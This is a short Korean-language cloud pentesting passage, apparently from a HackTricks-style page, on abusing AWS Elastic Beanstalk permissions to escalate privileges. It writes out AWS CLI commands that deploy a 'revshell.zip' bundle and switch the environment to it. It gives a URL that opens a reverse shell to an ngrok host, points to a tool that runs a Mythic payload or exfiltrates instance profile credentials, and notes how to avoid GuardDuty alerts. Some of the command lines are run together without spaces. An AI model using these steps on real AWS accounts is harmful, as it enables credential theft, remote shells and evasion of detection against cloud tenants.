Beanstalk에서 민감한 작업을 수행하려면 많은 다양한 서비스에서 많은 민감한 권한이 필요합니다. 예를 들어 **arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk**에 부여된 권한을 확인할 수 있습니다.
elasticbeanstalk:RebuildEnvironment, S3 쓰기 권한 및 기타 여러 권한
**환경의 코드를 포함하는 S3 버킷에 대한 쓰기 권한과 애플리케이션을 재구성할 수 있는 권한(필요한 권한은 elasticbeanstalk:RebuildEnvironment 및 S3, EC2, Cloudformation과 관련된 몇 가지 권한)으로 코드를 수정하고 애플리케이션을 재구성할 수 있으며, 다음에 애플리케이션에 접근할 때 새 코드를 실행하게 되어 공격자가 애플리케이션과 그 IAM 역할 자격 증명을 손상시킬 수 있습니다.
# Use a new --version-label# Use the bucket from your own accountaws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"
# These step needs the extra permissionsawselasticbeanstalkupdate-environment--environment-nameMyEnv--version-labelMyApp-1.0# To get your rev shell just access the exposed web URL with params such as:http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).
The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.